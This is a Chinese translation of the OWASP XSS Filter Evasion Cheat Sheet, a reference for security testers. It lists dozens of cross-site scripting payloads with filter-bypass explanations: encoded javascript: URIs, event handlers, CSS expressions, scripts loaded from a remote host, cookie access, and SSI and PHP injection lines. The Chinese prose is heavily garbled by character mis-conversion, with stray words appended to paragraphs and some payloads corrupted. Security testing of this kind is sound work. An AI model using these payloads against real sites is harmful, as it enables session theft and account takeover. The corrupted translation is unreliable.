XSS Filter Evasion Cheat Sheet 中文版

前言


译者注:
翻译本文的最初缘由是当我本身看到这篇文章后,以为它是很是有价值。可是这么著名的一个备忘录却一直没有人把它翻译成中文版。不少人仅仅是简单的把文中的 各类代码复制下来,而后看起来很刁的发在各类论坛上,不过你要真去认真研读这些代码,就会彻底不知所云了。缘由是这篇文章最精华的部分是代码的解释而非代 码自己。javascript

一方面为了本身学习,一方面也想让更多国内的xss爱好者去更方便的阅读本文。因此虽然我自己英语很烂,xss技术也很烂,但仍是去翻译了这篇文 章。固然这也致使最后翻译出来的文章晦涩难懂、不知所云。这个真心向你们说声抱歉啊,也但愿你们能及时帮忙提出文中的翻译错误或其余错误。php

 

另外,在翻译过程当中,我发现XSS Filter Evasion Cheat Sheet原版自己也存在一些技术上的或是描述上的错误。不过虽然我知道原文中某些地方可能出错,可是我也不知道正确的应该是什么样的,还有就是或许原文 自己是对的,可是我理解错了。种种缘由吧,最后基本上都按原文在翻译,有些以为可能存在错误的地方或是我理解不了的地方,我就没有翻译,继续使用英文。希 望你们能够帮忙给出翻译或是解释。css

若是你们有能力阅读英文的话,尽可能阅读原文,即便要看这个翻译版,也配合英文版一块儿看。不要让个人翻译错误误人子弟啊。最后但愿你们能够和我一块儿解决翻译中的各类错误,把这个中文版维护好。html

谢谢java

源文档地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheetgit

翻译文档在线阅读:https://www.zybuluo.com/laodao/note/9592web

介绍

这篇文章的主要目的是去给应用安全测试者提供一份xss漏洞检测指南。文章的初始内容由RSnake提供给OWASP,从他的xss备忘录: http://ha.ckers.org/xss.html 。目前这个网页已经重定向到咱们这里,咱们打算维护和完善它。OWASP的第一个防护备忘录项目:the XSS (Cross Site Scripting) Prevention Cheat Sheet灵感来源于RSnake的 XSS Cheat Sheet,因此咱们对他给予咱们的启发表示感谢。咱们想要去建立短小简单的参考给开发者去帮助他们预防xss漏洞,而不是建立一个复杂的备忘录去简单的 告诉他们须要去预防各类千奇百怪的攻击。因此,OWASP备忘录系列诞生了。算法


测试

这个备忘录主要针对那些已经理解了最基本的xss攻击,可是想要深刻理解各类过滤器绕过的细微差异的学习者。chrome

请注意大部分的xss攻击向量已经在其代码下方给出了测试过的浏览器列表。数据库


xss 探测器

注入下面这些代码,在大多数没有特殊xss向量要求而已遭受脚本攻击的地方将会弹出单词“xss”。使用url编码器去编码你的整个代码。小技巧:若是你是急切的须要快去检测一个页面,一般只须要注入轻量的 “<任意字符>” 标签,而后判断输出点是否受到干扰就能够判断是否xss漏洞了。

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

xss 探测器2

若是你没有充足的输入空间去检测页面是否存在xss漏洞。下面这段代码是一个好的简洁的xss注入检测代码。在注入这段代码后,查看页面源代码寻找是否存在看起来像 <XSS verses <XSS这样的输入点从而判断是否存在xss漏洞。

'';!--"<XSS>=&{()}

无过滤绕过

这是一个常规的xss注入代码,虽然一般它会被防护,可是咱们建议首先去尝试它。(引号是不被须要的在任何现代浏览器中,所以这里省略了它。)

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>


经过javascript指令实现的图片xss

图片xss依靠javascript指令实现。(IE7.0不支持javascript指令在图片上下文中,可是能够在其余上下文触发。下面的例子仅仅展现了一种其余标签依旧通用的原理。)

<IMG SRC="javascript:alert('XSS');">

无引号无分号

<IMG SRC=javascript:alert('XSS')>

不区分大小写的xss攻击向量

<IMG SRC=JaVaScRiPt:alert('XSS')>

html 实体

The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

重音符混淆

若是你的javascript代码中须要同时使用单引号和双引号,那么可使用重音符(`)来包裹javascript代码。它也常常会很是有用由于xss过滤代码未考虑到这个字符。

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的A标签

跳过href属性,而直接获取xss实质攻击代码…提出被David Cross ~ 已验证在chrome浏览器

<a onmouseover="alert(document.cookie)">xxs link</a>

此外,chrome浏览器喜欢去不全确实的引号为你。若是你遇到阻碍那么直接省略它们吧,chrome将会正确的帮你不全缺失的引号在URL和script中。

<a onmouseover=alert(document.cookie)>xxs link</a>

畸形的IMG标签

最先被 Begeek发现(能够短小而干净的运行于任何浏览器),这个xss向量依靠松散的渲染引擎解析IMG标签中被引号包含的字符串来实现。我猜想它最初是为了正确编码而形成的。这将使它更加困难的去解释HTML标签。

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode

若是没有任何形式的引号被容许,你能够eval()一串fromCharCode在javascript来建立任何你须要的xss向量。

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

默认SRC属性去绕过SRC域名检测过滤器

这将绕过绝大多数SRC域名过滤器。插入javascript代码在任何一个事件方法一样适用于热河一个HTML标签,例如Form、 Iframe、Input、Embed等等。他将也容许任何任何该标签的相关事件去替换,例如onblur, onclick等,后面咱们会附加一个可用的事件列表。由David Cross提供,Abdullah Hussam编辑。

<IMG SRC=# onmouseover="alert('xxs')">

默认SRC属性经过省略它的值

<IMG SRC= onmouseover="alert('xxs')">

默认SRC属性经过彻底不设置它

<IMG onmouseover="alert('xxs')">

经过error事件触发alert

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

十进制html编码引用

全部在使用javascript指令的xss示例将没法工做在 Firefox 或 Netscape 8.1+,由于它们使用了 Gecko 渲染引擎。使用 XSS Calculator 获取更多信息。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

结尾没有分号的十进制html编码引用

他是常常有用的在绕过寻找”&#XX;”格式的xss过滤,由于大多数人不知道最多容许7位字符的编码限制。这也是有用的对那些对字符串解码像$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为一个html编码须要用;去结束。(我是无心中发现)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

结尾没有分号的十六进制html编码引用

这也是一种实用的xss攻击针对上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为数字编码跟随在#后面(十六进制htnl编码并不是如此),。使用 XSS Calculator 获取更多信息。

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

内嵌TAB

用来分开xss攻击代码

<IMG SRC="jav   ascript:alert('XSS');">

内嵌被编码的TAB

用来分开xss攻击代码

<IMG SRC="jav&#x09;ascript:alert('XSS');">

内嵌换行符去分开xss代码

一些网站声称09-13编码的全部字符(十进制)均可以实现这种形式的攻击。这是不正确的。只有09(tab), 10 (换行) 和 13 (回车)可使用。查看ascii表为更详细的信息。下面四个xss例子展现了这个向量。

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

编码回车符去分开xss代码

注意:上面我编写的三个xss字符串比必须的字符串更长,缘由是0能够被省略。一般我看到的过滤器假设十六进制和十进制的编码是两到三个字符。正确的应该是一到七个字符。

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

没有分割的javascript指令

null字符也能够做为一个xss向量,可是不像上边那样。你须要直接注入它们利用一些工具例如Burp Proxy,或是使用 %00 在你的url字符串里。或者若是你想写你本身的注入工具你可使用vim(^V^@ 会生成null),以及用下面的程序去生成它到一个文本文件中。好吧,我再一次撒谎了。 Opera的老版本(大约 7.11 on Windows)是脆弱的对于一个额外的字符173(软连字符)。可是null字符 %00 是更加的有用或者帮助咱们绕过某些真实存在的过滤器用过变更像这个例子中的。

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

图片元素中javascript以前的空格和元字符为xss

xss过滤拼配模式没有考虑单词”javascript:”中可能存在空格是正确的,由于不然将没法渲染。可是这也致使了错误的假设认为你不能够有一个空格在引号和 “javascript:” 单词之间。事实上你能够插入 1-32编码字符(十进制)中的任何字符。

<IMG SRC=" &#14;  javascript:alert('XSS');">

非字母数字字符xss

Firefox html解析器设定一个非数字字母字符不是有效的在一个html关键字后面,所以这些字符会被视为空白符或是无效的token在html标签以后。这致使不少xss过滤器错误的认为html标签必须是被空白符隔断的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

和上面的原理相同,咱们继续扩大,Gecko渲染引擎容许字母、数字、html封装字符之外的任何字符位于事件处理器与等号之间。从而借此绕过xss过滤器。注意这也是适用于重音符以下所示:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit 提示我有一个小区别在 ie和Gecko 渲染引擎之间是他们仅容许一个一个斜杠在html标签和参数之间,在不使用空格的状况下。这多是有用的在那些不容许输入空格的系统中。

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

附加的开括号

Franz Sedlmaier提出,利用这个xss向量能够绕过某些检测引擎,由于这些引擎经过拼配最先出现的一对尖括号,而且提取其内部内容做为标签,而没有使用 更加有效的算法例如 Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠能够抑制额外尖括号致使的javascript错误。

<<SCRIPT>alert("XSS");//<</SCRIPT>

没关闭的script标签

对于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你并不须要常规xss中”></SCRIPT>”这部分。 Firefox会帮你闭合标签,而且加入结束标签。多么的体贴啊! Unlike the next one, which doesn’t effect Firefox, this does not require any additional HTML below it. 若是须要,你能够加入引号,但一般他并非必须的。注意,我并不清楚这个代码被注入后html代码会闭合成什么样子。

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

script标签中的协议解析

这个特殊的变体由 Łukasz Pilorz 提出,而且基于上文中 Ozh提出的协议解析绕过。这个xss例子工做在 IE, 使用IE渲染引擎的Netscape 以及加了在结尾的 Opera。这是很是有用的在输入长度受到限制。域名越短越好。 “.j”是有效的,不须要考虑编码问题由于浏览拿起能够自动识别在一个script标签中。

<SCRIPT SRC=//ha.ckers.org/.j>

半开的HTML/JavaScript xss向量

不一样于 Firefox ,ie渲染引擎不会加入额外的数据到你的页面。可是它容许javascript指定在图片标签中这是有用的做为一个xss向量,由于它不须要一个结束的尖 括号。你能够插入这个xss向量在任何html标签后面。甚至没有用”>”关闭标签。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn’t require the end “>”. 这也是有效的去对付真实的xss过滤器,我曾经遇见过试用半开的<IFRAME 标签替代 <IMG 标签,

<IMG SRC="javascript:alert('XSS')"

双开尖括号

使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号(>)会有不一样的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won’t。

<iframe src=http://ha.ckers.org/scriptlet.html <

转义javascript中的转义

当一个应用程序是输出用户自定义的信息到javascript代码中,例如: <SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>。若是你想插入你本身的javascript代码进入它,可是服务器转义 了其中的某些引号,这时你须要经过转义被转义的字符来绕过它。从而使最终的输入代码相似于<SCRIPT>var a=”\”;alert(‘XSS’);//”;</SCRIPT> 。最终\转义了双引号前被服务器添加的\,而双引号则不会被转义,从而触发xss向量。xss定位器使用这个方法。

\";alert('XSS');//

闭合title标签

这是一个简单的xss向量,能够引入一个恶意的xss攻击。
译者注:titile标签内部不支持html代码,全部内容会被自动转义为普通字符。

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image

<BODY BACKGROUND="javascript:alert('XSS')">

IMG DYNSRC(视频剪辑)

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc(低分辨率图片)

<IMG LOWSRC="javascript:alert('XSS')">

List-style-image

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

List-style-image

为带有符号的列表嵌入自定义图片的符号。它是只能工做在ie渲染引擎由于javascript指令。这不是一个特别有用的xss向量。

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (仅适用于老版本的Netscape)

<IMG SRC="livescript:">

BODY 标签

这个方法不须要使用任何”javascript:” or “<SCRIPT...” 的变体去实现xss攻击。Dan Crowley特别指出你能够额外的加入一个空格在等号以前(“onload=” != “onload =”):

<BODY ONLOAD=alert('XSS')>

事件处理程序

它能够被用于上文中的一些共性xss攻击(这是最完整的一个实时更新的在线列表)。感谢Rene Ledosquet 的更新。此外你能够参考 Dottoro Web Reference 或是 events in JavaScript.

1. FSCommand() (攻击者可使用它当执行一个嵌入的flash对象时)
 2. onAbort() (当使用者终止一张正在载入的图片)
 3. onActivate() (当对象被设置为激活元素)
 4. onAfterPrint() (用户打印或是预览打印工做后激活)
 5. onAfterUpdate() (激活在一个数据对象当源对象数据更新后)
 6. onBeforeActivate() (触发在一个对象被设置为激活元素)
 7. onBeforeCopy() (攻击者执行攻击代码在一个选区被复制到剪贴板以前-攻击者能够实现它经过execCommand("Copy")函数。)
 8. onBeforeCut() (攻击者执行攻击代码在在一个选区被剪贴。)
 9. onBeforeDeactivate() (当激活元素被改变后触发)
 10. onBeforeEditFocus() (触发在一个可被编辑的元素内的对象就按测到一个 UI-activated状态或是一个可被编辑对象被选择以前)
 11. onBeforePaste() (用户须要被欺骗执行粘贴或是去触发它经过execCommand("Paste")函数。)
 12. onBeforePrint() (用户须要被欺骗执行打印或是攻击者可使用print()或是execCommand("Print")函数。)
 13. onBeforeUnload() (用户须要被欺骗关闭浏览器-攻击者不能够 unload windows除非它是被执行从其父窗口。)
 14. onBeforeUpdate() (激活在数据对象在源对象更新数据以后。)
 15. onBegin() (onbegin 事件被当即触发当元素的声明周期开始后)
 16. onBlur() (当失去焦点时触发*)
 17. onBounce() (触发当选框对象的behavior属性被设置为"alternate"或是选框的内容抵达窗口的一边。)
 18. onCellChange() (触发当数据改变在数据provider)
 19. onChange() (select, text, or TEXTAREA 字段失去焦点或是它们的值是被改变。)
 20. onClick()(点击事件)
 21. onContextMenu() (用户须要右击在攻击攻击区域)
 22. onControlSelect() (当用户去控制一个选择对象时触发。)
 23. onCopy() (用户须要去copy某些东西或是利用execCommand("Copy")命令)
 24. onCut() (用户须要copy某些东西或是利用execCommand("Cut") 命令)
 25. onDataAvailable() (用户改变数据在某个元素上或是攻击者能够执行相同的函数。)
 26. onDataSetChanged() (当源数据对象被改变时触发)
 27. onDataSetComplete() (触发当数据是成功获取到从数据源对象)
 28. onDblClick() (用户双击某个元素。)
 29. onDeactivate() (当当前元素失去激活状态时触发)
 30. onDrag() (须要用户拖动某个对象)
 31. onDragEnd() (须要用户拖动某个对象)
 32. onDragLeave() (须要用户拖动某个对象从一个有效的位置。)
 33. onDragEnter() (须要用户拖动某个对象从一个有效的位置。)
 34. onDragOver() (须要用户拖动某个对象从一个有效的位置。)
 35. onDragDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
 36. onDragStart() (当用户开始拖动操做时发生。)
 37. onDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
 38. onEnd() (当生命周期结束时触发)
 39. onError() (载入document 或 image发生错误时触发)
 40. onErrorUpdate() (当更新数据源的相关对象时发生错误则触发)
 41. onFilterChange() (当一个滤镜完成状态改变时触发)
 42. onFinish() (移动的Marquee文字完成一次移动时触发)
 43. onFocus() (当窗口得到焦点时攻击者能够执行代码)
 44. onFocusIn() (当窗口得到焦点时攻击者能够执行代码)
 45. onFocusOut() (当窗口失去焦点时攻击者能够执行代码)
 46. onHashChange() (当当前地址的hash发生改变时触发)
 47. onHelp() (当用户在当前窗口点击F1时触发攻击代码)
 48. onInput() (可编辑元素中的内容被用户改变后出发)
 49. onKeyDown() (用户按下一个键)
 50. onKeyPress() (用户点击或是按下一个键)
 51. onKeyUp() (用户释放一个键)
 52. onLayoutComplete() (用户须要去打印或是打印预览)
 53. onLoad() (攻击者执行攻击代码在窗口载入后)
 54. onLoseCapture() (能够被触发被releaseCapture() 方法)
 55. onMediaComplete() (当波翻改一个流媒体文件时,这个事件将触发在文件开始播放前。)
 56. onMediaError() (当用户打开的页面包含一个媒体文件,而且发生错误时触发)
 57. onMessage() (当文档对象接受到一个信息时触发)
 58. onMouseDown() (攻击者须要让用户去点击一张图片。)
 59. onMouseEnter() (光标移入一个对象或是区域)
 60. onMouseLeave() (攻击者须要让用户移动光标进入一个图片或是表格,接着再次移出)
 61. onMouseMove() (攻击者须要让用户移动鼠标进入一个图片或是表格上)
 63. onMouseOver() (光标移到一个对象或是区域上)
 64. onMouseUp() (攻击者须要让用户点击一张图片)
 65. onMouseWheel() (拥挤着须要让用户去使用他们的鼠标滚轮)
 66. onMove() (用户或攻击者须要移动页面)
 67. onMoveEnd() (用户说攻击者须要移动页面)
 68. onMoveStart() (用户说攻击者须要移动页面)
 69. onOffline() (浏览器从在线模式转换到离线模式时发生)
 70. onOnline() (浏览器从离线模式转换到在线模式时发生)
 71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
 72. onPaste() (用户须要去粘贴或是攻击者执行execCommand("Paste") 方法)
 73. onPause() (当激活元素时间停顿时触发,包括body元素)
 74. onPopState() (当用户返回会话历史时触发)
 75. onProgress() (当一个flash动画载入时触发)
 76. onPropertyChange() (用户或攻击者须要改变一个元素的属性)
 77. onReadyStateChange() (用户或攻击者须要改变一个元素的属性)
 78. onRedo() (用户执行再执行操做)
 79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
 80. onReset() (用户或攻击者重置表单)
 81. onResize() (用户调整窗口大小,或是攻击者自动触发经过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
 82. onResizeEnd() (用户调整窗口大小,或是攻击者自动触发经过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
 83. onResizeStart() (用户调整窗口大小,或是攻击者自动触发经过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
 84. onResume() (当元素从暂停恢复到激活时触发,包括body元素)
 85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
 86. onRowsEnter() (用户或攻击者须要改变数据源中的一行)
 87. onRowExit() (用户或攻击者须要改变数据源中的一行)
 88. onRowDelete() (用户或攻击者须要删除数据源中的一行)
 89. onRowInserted() (用户或攻击者须要向数据源中插入一行)
 90. onScroll() (用户须要滚动,或是攻击者能够执行scrollBy() 函数)
 91. onSeek() (媒体播放移动到新位置)
 92. onSelect() (用户须要去选择一些文本 - 攻击者能够自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
 93. onSelectionChange() (用户须要去选择一些文本 - 攻击者能够自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
 94. onSelectStart() (用户须要去选择一些文本 - 攻击者能够自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
 95. onStart() (当marquee元素循环开始时触发)
 96. onStop() (用户须要点击中止按钮或是离开网页)
 97. onStorage() (存储区域改变)
 98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
 99. onSubmit() (须要攻击者或用户提交表单)
 100. onTimeError() (用户或攻击者须要设置一个时间属性例如 dur 的值为无效的值)
 101. onTrackChange() (用户或攻击者须要改变播放列表的轨迹)
 102. onUndo() (user went backward in undo transaction history)
 103. onUnload() (当用户点击一个连接或是按下回车键或是攻击者触发一个点击事件)
 104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
 105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND(背景音乐)

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript 包含

<BR SIZE="&{alert('XSS')}">

样式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

远程样式表

(经过某些方式例如最简单的远程样式表,你能够插入一个样式参数为嵌入表达式的xss代码)。它是仅仅工做在IE浏览器或是使用了IE渲染引擎的 Netscape 8.1+。须要注意的是页面中并无展示出它包含了javascript代码。注意:全部的远程样式表示例须要至少用到body标签,负责将没法工做除非 页面中包含除了向量自己的其余内容。所以你须要添加至少一个字母到页面确保他能够工做若是它是一个空白页面。

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

远程样式表2

他的工做原理与上面相同。可是使用了STYLE标签代替LINK标签。榆次向量稍有不一样的变异被用于攻击Google Desktop。你能够移除</STYLE>标签当后面的html去闭合它。这个向量是有用的在不容许输入等号或是反斜杠的实际环境中。

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

远程样式表3

它仅仅能够工做在 Opera 8.0 (no longer in 9.x) ,可是是很是的狡猾。 Opera 8.0 (no longer in 9.x) 。根据RFC2616规定,设置一个链接头不是 HTTP1.1 规定的一部分,可是不少浏览器仍然容许它(例如Firefox and Opera)。这个技巧是咱们能够设置一个http头(与常规http头没有什么不一样,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。这样带有xss代码的远程向量将运行javascript。他并不被支持在 FireFox。

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

远程样式表4

它是仅仅工做在 Gecko 渲染引擎。而且须要绑定一个 XUL文件在页面。使人讽刺的是Netscape认为Gecko是更加安全的,所以绝大可能是网站会受到这个攻击。

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

分隔javascript在STYLE标签

这个xss在ie浏览器中会形成无线循环

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE属性中使用注释去分隔表达式

提出被 Roman Ivanov

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

IMG样式的表达式

这是上面xss向量的混合体。可是它是展现了STYLE标签被分隔有多困难。一样它也会在ie下形成循环弹窗。

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE标签(仅支持老版本的Netscape)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

使用background-image的style标签

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>

使用background的style标签

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

匿名html标签的属性

IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 并不会关心你创建的html标签存在与否。只要它是以尖括号以及字符开始的。

<XSS STYLE="xss:expression(alert('XSS'))">

本地 htc 文件

它有一个小的不一样与上面的xss向量,由于他使用的 htc 文件必须是当前域的文件。这个文件经过样式属性引入并运行javascript代码实现xss。

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII编码

US-ASCII 编码 (发现被 Kurt Huwig)。它是使用畸形的ASCII 编码用7bits代替8bits. 这个xss能够绕过绝大多数内容过滤,可是必须当前域的传输形式为 US-ASCII编码方式。或者你本身去设置这种编码方式 。它是有用的去绕过web应用防火墙xss过滤比服务器端的过滤。Apache的 Tomcat是众所周知的 使用US-ASCII编码传输协议。

¼script¾alert(¢XSS¢)¼/script¾

META

关于meta refresh比较奇怪的是他并非发送一个刷新请求头。所以他一般用于不须要引用url的攻击。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data

URL指令方案,它是很是的不错由于赢没有明显的SCRIPT单词或是JavaScript 指令出现,由于它使用了base64 编码。请查看 RFC 2397了解更多信息或是编码你的代码。你也可使用 XSS calculator去编码你的html或是javascript代码到base64位。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

额外url参数的META

若是当前网页试图去查找URL参数是否以”http://” 开始,你能够用下列技术绕过(被 Moritz Naumann提出)

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME

若是一个iframes被容许,那么同时可能会存在大量其余xss问题

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME 基于事件

IFrames或其余元素可使用事件以下(提出被 David Cross)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

Frames有一些列相同的问题像 iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

TD

像上面同样,TD也能够经过 BACKGROUND 来包含javascript xss向量

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

使用 unicoded编码xss利用代码的DIV background-image

这是被轻微的修改去混淆 url 参数。他是最先被发现被 Renaud Lifchitz用于攻击hotmail。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

附加额外字符的DIV background-image

Rnaske开发了一个XSS fuzzer去探测能够在开括号和javascript之间加入哪些额外字符在 IE和安全模式下的 Netscape 8.1。都是一些十进制的字符,可是你也能够用十六进制来填充。(下面这些编码字符能够被使用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279)

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

DIV expression

它的一个变体是更加有效的去绕过实际的xss过滤器是在冒号和表达式之间添加换行符。

<DIV STYLE="width: expression(alert('XSS'));">

html条件选择注释块

只能工做在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些网站认为任何包裹在注释中的内容都是安全的,所以并不会被移除。这将容许咱们的xss向量。或者系统可能经过添加注释对某些内容去试图无害的渲染它。 如咱们所见,这有时并不起做用。

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->

BASE标签

工做ie或是使用了安全模块的Netscape 8.1,你须要使用 “//” 斜体文本去避免javascript错误。这须要当前网站使用相对路径(例如images/image.jpg)而不是绝对路径。若是路径开始用一个斜杠 (例如”/images/image.jpg”),你须要去掉xss向量中的一个斜杠(只有在两个斜杠的状况下才会起到注释做用)

<BASE HREF="javascript:alert('XSS');//">

OBJECT标签

若是容许objects标签,你也能够注入病毒payloads去感染用户。相似于APPLET标签。这个连接文件是一个包含xss代码的html文件。

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

使用一个你能够载入包含有xss代码的flash文件的 EMBED 标签

点击这个demo,若是你加入属性allowScriptAccess=”never” and allownetworking=”internal”他能够缓解这个风险(谢谢Jonathan Vanasco 的这个信息)

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

使用在flash中的ActionScript能够混淆你的xss向量

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

CDATA混淆的 XML数据岛

这个xss向量尽能够在IE 和使用了ie渲染引擎的 Netscape 8.1 下工做。它是 Sec Consult在审计雅虎时发现。

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

使用XML数据岛生成含有javascript代码的当前域xml文件

它是相同的同上面仅仅代替XML文件为当前域文件。你能够看到结果在下面。


HTML+TIME 在XML中

它展现的 Grey Magic 是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅能够工做在ie和使用了ie渲染引擎的Netscape 8.1。而且这段代码须要放在html域body标签之间。

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

简单的修改字符去绕过过滤器对 “.js”的过滤

你能够重命名你的javascript文件为一个图片做为xss向量

<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

SSI (服务器端包含)

这须要SSI被安装在服务器端去使用这个xss向量。但可能我并不须要说起这点,由于若是你能够运行命令在服务器端,那么毫无异味会有更加严重的问题存在。

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->

PHP

须要php被安装在服务器端去使用这个xss向量。一样的,若是你能够运行恩任何远程脚本,那么将会有更加严重的问题。

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

嵌入命令的IMG

它是工做于那些须要用户认证后才能够执行命令的当前域页面。它将能够建立删除用户(若是访问者是管理员),或是寄送某些凭证等等,虽然他是较少被使用可是是很是有用的。

